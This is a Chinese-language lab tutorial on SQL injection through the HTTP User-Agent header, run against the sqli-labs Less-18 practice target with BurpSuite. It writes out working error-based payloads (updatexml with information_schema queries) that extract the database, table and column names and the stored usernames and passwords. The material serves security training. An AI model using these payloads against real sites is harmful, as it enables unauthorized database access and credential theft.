1 概述
- User-Agent:是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。用较为普通的一点来说,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。
- UA字符串在每次浏览器 HTTP 请求时发送到服务器!浏览器UA 字串的标准格式为: 浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识 版本信息
- User-Agent注入:User-Agent 注入其原理也和平时的注入一样,只不过说我们是将提交的参数以 User-Agent 的方式提交,属于http头部注入的一种。
- 一般的注入我们是使用get或者post方式提交:
- get方式提交就是直接在网址后面加上需要注入的语句;
- post则是通过表单方式,
- get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
2 实验简介
2.1 实验平台
- 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
- 真实机:为了方便修改http头部信息,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《BurpSuite简介及安装》。
- 靶机与真实机桥接到同一局域网中。
2.2 实验目标
- 获取网站后台数据库账号及密码。
3 实验过程
3.1 前戏
- 真实机打开BurpSuite,进入Proxy工具,打开自带浏览器,访问靶机sqli-labs的Less18,打开页面如下。
- 该关卡模拟登录页面注入,先尝试Dumb账户登录,登录后页面显示如下:
- 在BurpSuite工具的intercept界面开启 intercept is on,重新加载上一步的页面,让BurpSuite获取到请求,将请求右键发送到repeater工具,点击forward。
- 在BurpSuite的Repeater工具中,我们可以看到刚刚发送过来的请求,点击发送,可以看到响应中有user agent 的信息,因此猜测该字段内容可以回显到页面上,可能存在注入。
3.2 判断注入点及注入类型
- 正常流程应该是先判断能否在常规位置进行注入,实在没有的情况下再找http头部信息能否注入,本节实验省去了测试其他位置能否注入的过程,仅为演示如何进行user-agent注入。
- 回到repeater界面,对请求进行编辑,user-agent信息修改为
test
,测试响应是否能回显该处内容。可以看到正常显示。
- 修改参数为
test'
时,系统出现错误提示,由此我们猜测是因为多了一个单引号引起引号未正常闭合的情况。与以往不同的时,这里的错误语句还出现了一串包括IP和账号在内的其他语句,我们可以猜测,系统将该语句拼接到我们注入参数后一并执行。
- 修改参数为
test' and '1'='1
,程序正常运行,说明该参数为单引号闭合的字符型注入。
- 结论:该参数注入信息会回显到响应中,是一个注入点,且该参数为为单引号闭合的字符型注入。
3.3 获取库名表名字段名字段内容
- 获取库名。修改参数为
test' and updatexml(1,concat('~',database(),'~'),1) and '1'='1
,此处在语句最后加上了一个恒等式,一方面是为了闭合后台语句的单引号,另一方面是为了保证当我们语句拼接如后台后不影响后续语句的运行,这是该闭合方式比采用#
号等方式的高明之处。通过该参数,我们爆出了该网站所在数据库名。
- 获取表名。修改cookie参数为
test' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database() ),'~'),1) and '1'='1
,共爆出4个表名,其中users是我们所要的目标。
- 获取字段名。修改参数为
test' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name = 'users'),'~'),1) and '1'='1
,响应如下,共爆出3个字段名。
- 获取用户数量。考虑到updatexml()函数回显字符长度有限,先获取用户数量,再逐个获取用户名与密码。修改参数为
test' and updatexml(1,concat('~',(select count(username) from users),'~'),1) and '1'='1
,响应中错误提示如下,可知共有13个用户。
- 获取第一个用户账号及密码。修改参数为
test' and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) and '1'='1
,响应中错误提示如下,可知第一个账号密码均为Dumb,剩余账号密码只需修改limit参数便可逐个取出。
3.4 实验结果
- 实验成功爆出网站后台数据库账号及密码。
- 实验关键在于构建能够闭合引号的注入参数。
4 总结
- 了解user-agent的组成与作用;
- 掌握user-agent注入的方法。